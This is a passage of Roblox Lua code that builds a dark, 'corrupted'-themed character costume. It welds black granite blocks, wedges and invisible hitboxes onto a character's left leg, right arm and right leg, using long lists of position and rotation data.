	CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.600000024, 0.200000003),CFrame = CFrame.new(1.88013697, 0.800038397, 0.859943509, 1.00001979, -3.03611159e-007, -5.47617674e-007, 5.67175448e-007, 1.00001717, -5.60779881e-007, -1.86450779e-006, 9.50574758e-007, 0.99998951),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
	Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
	Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 1, 5.86369708e-007, -2.15602267e-006, -2.8440752e-007, 0.999998569, 9.76819592e-007, -8.39119252e-007, -5.34477465e-007, 0.999998569),C1 = CFrame.new(0.3841483, -0.516796231, -0.40962553, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
	CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.800000012, 0.200000003),CFrame = CFrame.new(2.69002914, 0.915953577, 0.851962805, 0.999971032, 0.0011022269, -0.00980960391, -0.00109704852, 1.00001776, 0.000537177373, 0.00981036108, -0.000526409131, 0.999942601),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
	Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
	Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999951303, -0.0010970087, 0.00981015898, 0.00110222446, 0.999999166, -0.000526388001, -0.00980970077, 0.00053719338, 0.99995172),C1 = CFrame.new(0.400011122, -0.399985313, 0.400013685, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
	CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.800000012, 0.200000003),CFrame = CFrame.new(1.88013721, 0.900040269, 1.65993917, 1.00001979, -3.03611159e-007, -5.47617674e-007, 5.67175448e-007, 1.00001717, -5.60779881e-007, -1.86450779e-006, 9.50574758e-007, 0.99998951),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
	Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
	Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 1, 5.86369708e-007, -2.15602267e-006, -2.8440752e-007, 0.999998569, 9.76819592e-007, -8.39119252e-007, -5.34477465e-007, 0.999998569),C1 = CFrame.new(-0.415866137, -0.41721642, -0.40188694, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
	CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(1.88013721, 0.600035727, 1.25993288, 1.00001979, -3.03611159e-007, -5.47617674e-007, 5.67175448e-007, 1.00001717, -5.60779881e-007, -1.86450779e-006, 9.50574758e-007, 0.99998951),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
	Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
	Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 1, 5.86369708e-007, -2.15602267e-006, -2.8440752e-007, 0.999998569, 9.76819592e-007, -8.39119252e-007, -5.34477465e-007, 0.999998569),C1 = CFrame.new(-0.0157161951, -0.717007458, -0.405481935, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
	CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.400000006, 0.200000003),CFrame = CFrame.new(2.28007793, 0.700037479, 1.65993929, 1.00001967, -3.84054147e-007, 3.90969217e-006, 6.35045581e-007, 1.00001717, -5.60838998e-007, -6.19795173e-006, 9.32147486e-007, 0.99998951),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
	Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
	Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 1, 6.5424797e-007, -6.48946025e-006, -3.64865258e-007, 0.999998629, 9.58411874e-007, 3.61912225e-006, -5.34497644e-007, 0.999998629),C1 = CFrame.new(-0.411835551, -0.616776347, -0.00175023079, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
	CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 1.20000005, 0.200000003),CFrame = CFrame.new(2.68018699, 1.10004401, 1.65993941, 1.00001967, -3.84054147e-007, 3.90969217e-006, 6.35045581e-007, 1.00001717, -5.60838998e-007, -6.19795173e-006, 9.32147486e-007, 0.99998951),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
	Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
	Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 1, 6.5424797e-007, -6.48946025e-006, -3.64865258e-007, 0.999998629, 9.58411874e-007, 3.61912225e-006, -5.34497644e-007, 0.999998629),C1 = CFrame.new(-0.408125639, -0.216332912, 0.397896528, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
	CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.600000024, 0.200000003),CFrame = CFrame.new(2.68596959, 0.816166699, 1.25195313, 0.999971032, 0.0011022269, -0.00980960391, -0.00109704852, 1.00001776, 0.000537177373, 0.00981036108, -0.000526409131, 0.999942601),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
	Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
	Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999951303, -0.0010970087, 0.00981015898, 0.00110222446, 0.999999166, -0.000526388001, -0.00980970077, 0.00053719338, 0.99995172),C1 = CFrame.new(5.20944595e-005, -0.499986172, 0.399987936, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
	ScatterEff(EffCorruptedPart)
	RightArm = New("Model",chara,"RightArm",{})
	MainPart = New("Part",RightArm,"MainPart",{Transparency = 1,Transparency = 1,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(1, 2, 1),CFrame = CFrame.new(2.011096, 6.31690788, -3.92582893, 0.00918400101, -0.262283146, 0.964947343, 0.259330034, 0.932596445, 0.251021653, -0.965745091, 0.247934431, 0.0765828639),CanCollide = false,})
	Weld = New("ManualWeld",MainPart,"Weld",{Part0 = MainPart,Part1 = chara["Right Arm"],C0 = CFrame.new(0, 0, 0, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),C1 = CFrame.new(-2.86102295e-006, -9.05990601e-006, -2.38418579e-006, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),})
	Hitbox = New("Part",RightArm,"Hitbox",{BrickColor = BrickColor.new("Really black"),Transparency = 1,Transparency = 1,Size = Vector3.new(1, 4, 1),CFrame = CFrame.new(22.2733669, 5.0842762, -22.1737366, -0.964945257, -0.262290984, 0.00919180829, -0.251027077, 0.93259424, 0.259333313, -0.0765930116, 0.247935042, -0.965744138),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
	Weld = New("ManualWeld",Hitbox,"Weld",{Part0 = Hitbox,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964945257, -0.251027077, -0.0765930116, -0.262290984, 0.93259424, 0.247935042, 0.00919180829, 0.259333313, -0.965744138),C1 = CFrame.new(-1.52587891e-005, -1.00003147, -1.71661377e-005, 0.0091838371, 0.259330064, -0.965745151, -0.262283117, 0.932596445, 0.247934505, 0.964947283, 0.251021653, 0.0765827149),})
	CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 2, 1),CFrame = CFrame.new(2.011096, 6.3169179, -3.92581391, -0.964945257, -0.262290984, 0.00919180829, -0.251027077, 0.93259424, 0.259333313, -0.0765930116, 0.247935042, -0.965744138),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
	Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
	Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964945138, -0.251027018, -0.0765930042, -0.262290984, 0.932594121, 0.247935027, 0.00919180084, 0.259333313, -0.965744197),C1 = CFrame.new(-1.1920929e-005, 1.28746033e-005, 3.57627869e-006, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),})
	CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 0.600000024, 0.400000036),CFrame = CFrame.new(2.14866924, 6.03215551, -4.72580194, -0.964945078, 0.262291819, -0.00918725226, -0.251029015, -0.932593465, -0.259333432, -0.0765890032, -0.247936144, 0.965744317),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
	Mesh = New("SpecialMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),MeshType = Enum.MeshType.Wedge,})
	Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964944899, -0.251028955, -0.0765889958, 0.262291819, -0.932593465, -0.247936144, -0.00918724574, -0.259333432, 0.965744257),C1 = CFrame.new(0.699988842, -0.499982834, 7.62939453e-006, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),})
	CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 1.20000005, 0.600000024),CFrame = CFrame.new(2.63876629, 4.02682734, -4.32773018, -0.964945078, 0.262291819, -0.00918725226, -0.251029015, -0.932593465, -0.259333432, -0.0765890032, -0.247936144, 0.965744317),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
	Mesh = New("SpecialMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),MeshType = Enum.MeshType.Wedge,})
	Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964944899, -0.251028955, -0.0765889958, 0.262291819, -0.932593465, -0.247936144, -0.00918724574, -0.259333432, 0.965744257),C1 = CFrame.new(-0.199987888, -2.39999342, 3.02791595e-005, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),})
	CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 1, 0.600000024),CFrame = CFrame.new(1.62134135, 7.81954479, -3.94021821, 0.964945078, -0.262291819, -0.00918725226, 0.251029015, 0.932593465, -0.259333432, 0.0765890032, 0.247936144, 0.965744317),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
	Mesh = New("SpecialMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),MeshType = Enum.MeshType.Wedge,})
	Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.964944899, 0.251028955, 0.0765889958, -0.262291819, 0.932593465, 0.247936144, -0.00918724574, -0.259333432, 0.965744257),C1 = CFrame.new(0.399995804, 1.5000124, -2.38418579e-007, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),})
	CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 0.600000024, 0.400000036),CFrame = CFrame.new(2.35483098, 5.18234444, -4.53787422, -0.964945078, 0.262291819, -0.00918725226, -0.251029015, -0.932593465, -0.259333432, -0.0765890032, -0.247936144, 0.965744317),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
	Mesh = New("SpecialMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),MeshType = Enum.MeshType.Wedge,})
	Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964944899, -0.251028955, -0.0765889958, 0.262291819, -0.932593465, -0.247936144, -0.00918724574, -0.259333432, 0.965744257),C1 = CFrame.new(0.300010204, -1.29999256, 1.40666962e-005, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),})
	CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 1, 0.600000024),CFrame = CFrame.new(1.88730097, 6.99068737, -4.57445002, -0.964945078, 0.262291819, -0.00918725226, -0.251029015, -0.932593465, -0.259333432, -0.0765890032, -0.247936144, 0.965744317),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
	Mesh = New("SpecialMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),MeshType = Enum.MeshType.Wedge,})
	Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964944899, -0.251028955, -0.0765889958, 0.262291819, -0.932593465, -0.247936144, -0.00918724574, -0.259333432, 0.965744257),C1 = CFrame.new(0.799996853, 0.50001812, 4.29153442e-006, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),})
	CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 0.800000072, 0.600000024),CFrame = CFrame.new(2.37646794, 4.9594202, -4.07979012, -0.964945316, -0.262290984, 0.00918756705, -0.251028091, 0.932593942, 0.259333163, -0.0765890256, 0.247935995, -0.965744197),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
	Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
	Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964945138, -0.251028031, -0.0765890107, -0.262290955, 0.932593882, 0.247935966, 0.0091875596, 0.259333193, -0.965744257),C1 = CFrame.new(-0.199994564, -1.39999104, 1.52587891e-005, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),})
	RightLeg = New("Model",chara,"RightLeg",{})
	MainPart = New("Part",RightLeg,"MainPart",{Transparency = 1,Transparency = 1,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(1, 2, 1),CFrame = CFrame.new(2.29641008, 1.31540966, 0.248092994, 0.00933599845, 0.00110999751, 0.999955773, -0.0030579993, 0.999994755, -0.00108149007, -0.99995178, -0.0030477671, 0.00933934376),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,})
	Weld = New("ManualWeld",MainPart,"Weld",{Part0 = MainPart,Part1 = chara["Right Leg"],C0 = CFrame.new(0, 0, 0, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),C1 = CFrame.new(2.98023224e-008, -8.58306885e-006, 2.38418579e-007, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
	CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(2.70045996, 1.61376095, -0.149078026, 0.999955833, 0.00111049914, -0.0093326522, -0.00108199986, 0.999994755, 0.00305823679, 0.00933599938, -0.00304800388, 0.999951839),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
	Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
	Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955893, -0.00108199986, 0.00933599938, 0.00111049926, 0.999994755, -0.00304800388, -0.0093326522, 0.00305823679, 0.99995178),C1 = CFrame.new(0.400011688, 0.300008655, 0.400000095, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
	CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.600000024, 0.200000003),CFrame = CFrame.new(1.90071809, 1.81462395, -0.157150015, 0.999955714, 0.00111050205, -0.0093366541, -0.00108199974, 0.999994755, 0.00305724167, 0.00933999754, -0.00304700364, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
	Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
	Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111050217, 0.999994755, -0.00304700388, -0.00933665317, 0.00305724121, 0.99995178),C1 = CFrame.new(0.400002658, 0.50000751, -0.399999142, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
	CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.400000036, 0.200000003),CFrame = CFrame.new(1.896873, 1.71584904, 0.243133992, 0.999955714, 0.00111050205, -0.0093366541, -0.00108199974, 0.999994755, 0.00305724167, 0.00933999754, -0.00304700364, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
	Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
	Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111050217, 0.999994755, -0.00304700388, -0.00933665317, 0.00305724121, 0.99995178),C1 = CFrame.new(4.14252281e-006, 0.400008917, -0.399998784, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
	CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.800000072, 0.200000003),CFrame = CFrame.new(1.89314091, 1.71706903, 0.643112063, 0.999955714, 0.00111050205, -0.0093366541, -0.00108199974, 0.999994755, 0.00305724167, 0.00933999754, -0.00304700364, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
	Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
	Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111050217, 0.999994755, -0.00304700388, -0.00933665317, 0.00305724121, 0.99995178),C1 = CFrame.new(-0.399993181, 0.400005698, -0.399996519, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
	EffCorruptedPart = New("Part",RightLeg,"EffCorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 1.20000005, 1),CFrame = CFrame.new(2.29597116, 0.915416002, 0.249298006, 0.999955714, 0.00111051137, -0.00933665317, -0.00108199974, 0.999994755, 0.00305824191, 0.00933999754, -0.00304800365, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
	Mesh = New("BlockMesh",EffCorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
